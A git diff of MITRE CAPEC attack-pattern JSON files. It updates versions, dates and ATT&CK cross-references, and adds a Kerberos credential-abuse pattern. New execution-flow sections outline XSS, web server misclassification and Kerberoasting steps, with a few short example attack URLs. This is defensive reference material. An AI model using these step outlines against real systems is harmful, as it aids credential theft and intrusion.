b/capec/attack-pattern/attack-pattern--6d2a085c-4a06-4bd2-8998-ba78a4302ab0.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--166d0f02-ad8f-4e17-8ce7-4674501c9b50", + "id": "bundle--dc59f5ac-f45a-40ed-8fd5-cdff4c03feb4", "spec_version": "2.0", "objects": [ { @@ -72,7 +72,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6d30ec21-b3b4-435d-9045-acd660865e6a.json b/capec/attack-pattern/attack-pattern--6d30ec21-b3b4-435d-9045-acd660865e6a.json index d4506049f3..904b82a1ee 100644 --- a/capec/attack-pattern/attack-pattern--6d30ec21-b3b4-435d-9045-acd660865e6a.json +++ b/capec/attack-pattern/attack-pattern--6d30ec21-b3b4-435d-9045-acd660865e6a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5e5f3e67-7ec3-4b9d-a8e1-825829906ece", + "id": "bundle--b69bfb18-39be-477e-a375-d1787fb9b640", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6de257d8-e3b6-4654-85a7-a6fb37a94ccb.json b/capec/attack-pattern/attack-pattern--6de257d8-e3b6-4654-85a7-a6fb37a94ccb.json index edc73f1b64..74034aa30f 100644 --- a/capec/attack-pattern/attack-pattern--6de257d8-e3b6-4654-85a7-a6fb37a94ccb.json +++ b/capec/attack-pattern/attack-pattern--6de257d8-e3b6-4654-85a7-a6fb37a94ccb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c73f2019-d66e-4247-a680-f37b5dac11c7", + "id": "bundle--9ddd5ace-39f3-471b-90be-d9d18a13dab1", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--6de257d8-e3b6-4654-85a7-a6fb37a94ccb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Account Footprinting", "description": "An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: \"net user\" and \"dsquery\".", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "Account Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1087", + "external_id": "T1087" } ], "object_marking_refs": [ @@ -48,7 +54,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6e3dda09-c1da-4f44-a0b3-e0e3b6fe0601.json b/capec/attack-pattern/attack-pattern--6e3dda09-c1da-4f44-a0b3-e0e3b6fe0601.json index 848a0f3709..e292126677 100644 --- a/capec/attack-pattern/attack-pattern--6e3dda09-c1da-4f44-a0b3-e0e3b6fe0601.json +++ b/capec/attack-pattern/attack-pattern--6e3dda09-c1da-4f44-a0b3-e0e3b6fe0601.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1673de88-493a-4dc1-a502-2c108c9ea51c", + "id": "bundle--17d91969-6587-4166-ab2e-e83df44ecdc3", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--6e3dda09-c1da-4f44-a0b3-e0e3b6fe0601", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Sustained Client Engagement", "description": "An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource. The degree to which the attack is successful depends upon the adversary's ability to sustain resource requests over time with a volume that exceeds the normal usage by legitimate users, as well as other mitigating circumstances such as the target's ability to shift load or acquire additional resources to deal with the depletion. This attack differs from a flooding attack as it is not entirely dependent upon large volumes of requests, and it differs from resource leak exposures which tend to exploit the surrounding environment needed for the resource to function. The key factor in a sustainment attack are the repeated requests that take longer to process than usual.", "external_references": [ @@ -16,6 +16,18 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/227.html", "external_id": "CAPEC-227" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/003", + "external_id": "T1499.003" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application or System Exploitation", + "url": "https://attack.mitre.org/wiki/Technique/T1499/004", + "external_id": "T1499.004" } ], "object_marking_refs": [ @@ -29,7 +41,7 @@ "To successfully execute this pattern of attack, a script or program is often required that is capable of continually engaging the target and maintaining sustained usage of a specific resource. Depending on the configuration of the target, it may or may not be necessary to involve a network or cluster of objects all capable of making parallel requests." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--6f7f4589-3abb-4aa8-ac80-1a6715d75a8b.json b/capec/attack-pattern/attack-pattern--6f7f4589-3abb-4aa8-ac80-1a6715d75a8b.json index 1f2bcdf8f9..436049450a 100644 --- a/capec/attack-pattern/attack-pattern--6f7f4589-3abb-4aa8-ac80-1a6715d75a8b.json +++ b/capec/attack-pattern/attack-pattern--6f7f4589-3abb-4aa8-ac80-1a6715d75a8b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1ddaf1b7-3bed-47da-af09-5a64e2bc65cf", + "id": "bundle--799125ed-5598-41be-8330-2347365d9119", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--6f7f4589-3abb-4aa8-ac80-1a6715d75a8b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Malware-Directed Internal Reconnaissance", "description": "Adversary uses malware or a similarly controlled application installed inside an organizational perimeter to gather information about the composition, configuration, and security mechanisms of a targeted application, system or network.", "external_references": [ @@ -39,7 +39,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346.json b/capec/attack-pattern/attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346.json index b245240682..19e24ea4e9 100644 --- a/capec/attack-pattern/attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346.json +++ b/capec/attack-pattern/attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--71d393cf-05cc-4d32-9eed-001322618f2e", + "id": "bundle--479d4a7f-13dc-47dc-b4c4-b61a1d3e053e", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--70b83583-ffe3-4e6d-b4a6-61a9b9efc346", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cross-Site Scripting (XSS)", "description": "An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.", "external_references": [ @@ -53,6 +53,7 @@ "x_capec_example_instances": [ "\n Classic phishing attacks lure users to click on content that appears trustworthy, such as logos, and links that seem to go to their trusted financial institutions and online auction sites. But instead the attacker appends malicious scripts into the otherwise innocent appearing resources. The HTML source for a standard phishing attack looks like this:\n maliciousscript\">Trusted Site\n When the user clicks the link, the appended script also executes on the local user's machine.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS vulnerability: The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.

    2. Techniques
    Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
    Use a list of XSS probe strings to inject script into UI entry fields. If possible, the probe strings contain a unique identifier.
    Use a list of XSS probe strings to inject script into resources accessed by the application. If possible, the probe strings contain a unique identifier.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Target client software must be a client that allows scripting communication from remote hosts, such as a JavaScript-enabled Web Browser." @@ -66,7 +67,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--70c8a212-72da-4a98-a626-e5d38e5416e3.json b/capec/attack-pattern/attack-pattern--70c8a212-72da-4a98-a626-e5d38e5416e3.json index 48f36b4bd1..2d0dc119bf 100644 --- a/capec/attack-pattern/attack-pattern--70c8a212-72da-4a98-a626-e5d38e5416e3.json +++ b/capec/attack-pattern/attack-pattern--70c8a212-72da-4a98-a626-e5d38e5416e3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f9d0bde8-1e10-4566-adce-9be93ed5abe5", + "id": "bundle--b552db3a-f96c-4ca4-9e59-0c5eb5f773f6", "spec_version": "2.0", "objects": [ { @@ -51,7 +51,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--71d31712-9174-4433-8e4f-8520a3ec1249.json b/capec/attack-pattern/attack-pattern--71d31712-9174-4433-8e4f-8520a3ec1249.json index 6b2ab05428..86c0ca975f 100644 --- a/capec/attack-pattern/attack-pattern--71d31712-9174-4433-8e4f-8520a3ec1249.json +++ b/capec/attack-pattern/attack-pattern--71d31712-9174-4433-8e4f-8520a3ec1249.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--88bb9d99-db5a-4529-a5ef-d9f94faef6f4", + "id": "bundle--7e31ee62-f549-48a0-b9b3-e31443230c9c", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--72a45548-61df-47c1-a7a0-12e07ec71f37.json b/capec/attack-pattern/attack-pattern--72a45548-61df-47c1-a7a0-12e07ec71f37.json index 13c09075b3..760c7b68f2 100644 --- a/capec/attack-pattern/attack-pattern--72a45548-61df-47c1-a7a0-12e07ec71f37.json +++ b/capec/attack-pattern/attack-pattern--72a45548-61df-47c1-a7a0-12e07ec71f37.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f8ae042d-d479-4a72-859c-4a967d3f259b", + "id": "bundle--1c8609e6-6fbb-4d8f-b30a-d6eb76301c0a", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--74a4fb36-83cb-4851-b09c-370f1a408523.json b/capec/attack-pattern/attack-pattern--74a4fb36-83cb-4851-b09c-370f1a408523.json index 3f91b9b3a8..d07f55a56e 100644 --- a/capec/attack-pattern/attack-pattern--74a4fb36-83cb-4851-b09c-370f1a408523.json +++ b/capec/attack-pattern/attack-pattern--74a4fb36-83cb-4851-b09c-370f1a408523.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--88d04540-8863-4ce7-a89b-97c0b11d5e40", + "id": "bundle--a0d8d96f-713e-487c-9960-1cf6e4acb09c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--74a4fb36-83cb-4851-b09c-370f1a408523", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cause Web Server Misclassification", "description": "An attack of this type exploits a Web server's decision to take action based on filename or file extension. Because different file types are handled by different server processes, misclassification may force the Web server to take unexpected action, or expected actions in an unexpected sequence. This may cause the server to exhaust resources, supply debug or system data to the attacker, or bind an attacker to a remote process. This type of vulnerability has been found in many widely used servers including IIS, Lotus Domino, and Orion. The attacker's job in this case is straightforward, standard communication protocols and methods are used and are generally appended with malicious information at the tail end of an otherwise legitimate request. The attack payload varies, but it could be special characters like a period or simply appending a tag that has a special meaning for operations on the server side like .jsp for a java application server. The essence of this attack is that the attacker deceives the server into executing functionality based on the name of the request, i.e. login.jsp, not the contents.", "external_references": [ @@ -51,8 +51,9 @@ ] }, "x_capec_example_instances": [ - "\n J2EE application servers are supposed to execute Java Server Pages (JSP). There have been disclosure issues relating to Orion Application Server, where an attacker that appends either a period (.) or space characters to the end of a legitimate Http request, then the server displays the full source code in the attackers' web browser.\n http://victim.site/login.jsp.\n Since remote data and directory access may be accessed directly from the JSP, this is a potentially very serious issue.\n [R.11.2]\n " + "\n J2EE application servers are supposed to execute Java Server Pages (JSP). There have been disclosure issues relating to Orion Application Server, where an attacker that appends either a period (.) or space characters to the end of a legitimate Http request, then the server displays the full source code in the attackers' web browser.\n http://victim.site/login.jsp.\n Since remote data and directory access may be accessed directly from the JSP, this is a potentially very serious issue.\n [REF-6]\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Footprint file input vectors: Manually or using an automated tool, an attacker searches for all input locations where a user has control over the filenames or MIME types of files submitted to the web server.

    2. Techniques
    Attacker manually crawls application to identify file inputs
    Attacker uses an automated tool to crawl application identify file inputs
    Attacker manually assesses strength of access control protecting native application files from user control
    Attacker explores potential for submitting files directly to the web server via independently constructed HTTP Requests

Experiment

  1. File misclassification shotgunning: An attacker makes changes to file extensions and MIME types typically processed by web servers and looks for abnormal behavior.

    2. Techniques
    Attacker submits files with switched extensions (e.g. .php on a .jsp file) to web server.
    Attacker adds extra characters (e.g. adding an extra . after the file extension) to filenames of files submitted to web server.

  2. File misclassification sniping: Understanding how certain file types are processed by web servers, an attacker crafts varying file payloads and modifies their file extension or MIME type to be that of the targeted type to see if the web server is vulnerable to misclassification of that type.

    3. Techniques
    Craft a malicious file payload, modify file extension to the targeted file type and submit it to the web server.
    Craft a malicious file payload, modify its associated MIME type to the targeted file type and submit it to the web server.

Exploit

  1. Disclose information: The attacker, by manipulating a file extension or MIME type is able to make the web server return raw information (not executed).

    2. Techniques
    Manipulate the file names that are explicitly sent to the server.
    Manipulate the MIME sent in order to confuse the web server.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "Web server software must rely on file name or file extension for processing.", @@ -67,7 +68,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf.json b/capec/attack-pattern/attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf.json index 3622f8fc82..72613e2672 100644 --- a/capec/attack-pattern/attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf.json +++ b/capec/attack-pattern/attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--77ffa81a-d5de-499b-83d4-68e52a230f96", + "id": "bundle--c31d054d-58c0-4516-9c64-b7c4b6686fc9", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-12-07T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Restful Privilege Elevation", "description": "Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.", "external_references": [ @@ -69,7 +69,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--750dc5a2-e3c4-42d7-ad8a-25a7d1116f03.json b/capec/attack-pattern/attack-pattern--750dc5a2-e3c4-42d7-ad8a-25a7d1116f03.json index fd6c7ce07a..969f514ac2 100644 --- a/capec/attack-pattern/attack-pattern--750dc5a2-e3c4-42d7-ad8a-25a7d1116f03.json +++ b/capec/attack-pattern/attack-pattern--750dc5a2-e3c4-42d7-ad8a-25a7d1116f03.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--64e68df1-43a2-47d9-8ed6-1b26d91626ab", + "id": "bundle--cd612245-4463-42fd-9cec-2cfe783daa07", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--750dc5a2-e3c4-42d7-ad8a-25a7d1116f03", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Bypassing of Intermediate Forms in Multiple-Form Sets", "description": "Some web applications require users to submit information through an ordered sequence of web forms. This is often done if there is a very large amount of information being collected or if information on earlier forms is used to pre-populate fields or determine which additional information the application needs to collect. An attacker who knows the names of the various forms in the sequence may be able to explicitly type in the name of a later form and navigate to it without first going through the previous forms. This can result in incomplete collection of information, incorrect assumptions about the information submitted by the attacker, or other problems that can impair the functioning of the application.", "external_references": [ @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7534fc4c-f683-4918-8f62-005e0402d18a.json b/capec/attack-pattern/attack-pattern--7534fc4c-f683-4918-8f62-005e0402d18a.json index deda74e6df..835910b75f 100644 --- a/capec/attack-pattern/attack-pattern--7534fc4c-f683-4918-8f62-005e0402d18a.json +++ b/capec/attack-pattern/attack-pattern--7534fc4c-f683-4918-8f62-005e0402d18a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--006ea5d5-a419-440d-9a91-c0eb8d74df71", + "id": "bundle--098261c4-2578-4328-aca8-4409ab3beaec", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_likelihood_of_attack": "Medium", "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--753614f7-f574-4a2f-9cc4-481c62c25c32.json b/capec/attack-pattern/attack-pattern--753614f7-f574-4a2f-9cc4-481c62c25c32.json index 78f3737b7d..ae6e3c0e06 100644 --- a/capec/attack-pattern/attack-pattern--753614f7-f574-4a2f-9cc4-481c62c25c32.json +++ b/capec/attack-pattern/attack-pattern--753614f7-f574-4a2f-9cc4-481c62c25c32.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f63dc301-f277-4156-839a-5aca357a43e4", + "id": "bundle--057a7642-4203-42c3-af35-e6ac08d509c7", "spec_version": "2.0", "objects": [ { @@ -42,7 +42,7 @@ "This type of an attack requires the target system to be running a vulnerable implementation of IP, and the attacker needs to ability to send TCP packets of arbitrary size with crafted data." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c.json b/capec/attack-pattern/attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c.json new file mode 100644 index 0000000000..50f1fe9d81 --- /dev/null +++ b/capec/attack-pattern/attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c.json @@ -0,0 +1,136 @@ +{ + "type": "bundle", + "id": "bundle--e22c40e0-dfcd-4541-8a50-dbd8120db1ce", + "spec_version": "2.0", + "objects": [ + { + "type": "attack-pattern", + "id": "attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Use of Known Kerberos Credentials", + "description": "An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain. Kerberos is the default authentication method for Windows domains and is utilized for numerous authentication purposes. Attacks leveraging trusted Kerberos credentials can result in numerous consequences, depending on what Kerberos credential is stolen. For example, Kerberos service accounts are typically used to run services or scheduled tasks pertaining to authentication. However, these credentials are often weak and never expire, in addition to possessing local or domain administrator privileges. If an adversary is able to acquire these credentials, it could result in lateral movement within the Windows domain or access to any resources the service account is privileged to access, among other things. The protocol itself centers around a ticketing system that is used to request/grant access to resources and to then access the requested resources. If one of these tickets is acquired, an adversary could gain access to a specific resource; access any resource a user has privileges to access; gain access to services that use Kerberos as an authentication mechanism and generate tickets to access a particular resource and the system that hosts the resource; or generate Ticket Granting Tickets (TGTs) for any domain account within Active Directory. Kerberos credentials can be obtained by an adversary via methods such as system breaches, network sniffing attacks, and/or brute force attacks against the Kerberos service account or the hash of a service ticket. Ultimately, successful spoofing and impersonation of trusted Kerberos credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/652.html", + "external_id": "CAPEC-652" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/522.html", + "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/836.html", + "external_id": "CWE-836" + }, + { + "source_name": "ATTACK", + "description": "Steal or Forge Kerberos Tickets", + "url": "https://attack.mitre.org/wiki/Technique/T1558", + "external_id": "T1558" + }, + { + "source_name": "reference_from_CAPEC", + "description": "BRONZE BUTLER Targets Japanese Enterprises, 2017--10---12, Secureworks\u00ae Counter Threat Unit\u2122 Threat Intelligence", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "external_id": "REF-584" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Kerberoasting Without Mimikatz, 2016--11---01", + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/", + "external_id": "REF-585" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Invoke-Kerberoast", + "url": "https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/", + "external_id": "REF-586" + } + ], + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_abstraction": "Standard", + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_example_instances": [ + "Bronze Butler (also known as Tick), has been shown to leverage forged Kerberos Ticket Granting Tickets (TGTs) and Ticket Granting Service (TGS) tickets to maintain administrative access on a number of systems. [REF-584]", + "PowerSploit's Invoke-Kerberoast module can be leveraged to request Ticket Granting Service (TGS) tickets and return crackable ticket hashes. [REF-585] [REF-586]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known Kerberos credentials: The adversary must obtain known Kerberos credentials in order to access the target system, application, or service within the domain.

    2. Techniques
    An adversary purchases breached Kerberos service account username/password combinations or leaked hashed passwords from the dark web.
    An adversary guesses the credentials to a weak Kerberos service account.
    An adversary conducts a sniffing attack to steal Kerberos tickets as they are transmitted.
    An adversary conducts a Kerberoasting attack.

Experiment

  1. Attempt Kerberos authentication: Try each Kerberos credential against various resources within the domain until the target grants access.

    2. Techniques
    Manually or automatically enter each Kerberos service account credential through the target's interface.
    Attempt a Pass the Ticket attack.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain

  2. Spoofing: Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within domain systems or applications.

", + "x_capec_likelihood_of_attack": "Medium", + "x_capec_prerequisites": [ + "The system/application is connected to the Windows domain and leverages Kerberos authentication.", + "The system/application uses one factor password-based authentication, SSO, and/or cloud-based authentication for Kerberos service accounts.", + "The system/application does not have a sound password policy that is being enforced for Kerberos service accounts.", + "The system/application does not implement an effective password throttling mechanism for authenticating to Kerberos service accounts.", + "The targeted network allows for network sniffing attacks to succeed." + ], + "x_capec_resources_required": [ + "A valid Kerberos ticket or a known Kerberos service account credential." + ], + "x_capec_skills_required": { + "Low": "Once an adversary obtains a known Kerberos credential, leveraging it is trivial." + }, + "x_capec_status": "Draft", + "x_capec_typical_severity": "High", + "x_capec_version": "3.3" + } + ] +} \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--756a1a93-3734-426c-9e91-f9339de74a7a.json b/capec/attack-pattern/attack-pattern--756a1a93-3734-426c-9e91-f9339de74a7a.json index a39b667447..3afbcf6c3c 100644 --- a/capec/attack-pattern/attack-pattern--756a1a93-3734-426c-9e91-f9339de74a7a.json +++ b/capec/attack-pattern/attack-pattern--756a1a93-3734-426c-9e91-f9339de74a7a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--86db7139-95da-4610-bc18-793a76f57be9", + "id": "bundle--0ef0695c-6162-475f-952c-374c9db54060", "spec_version": 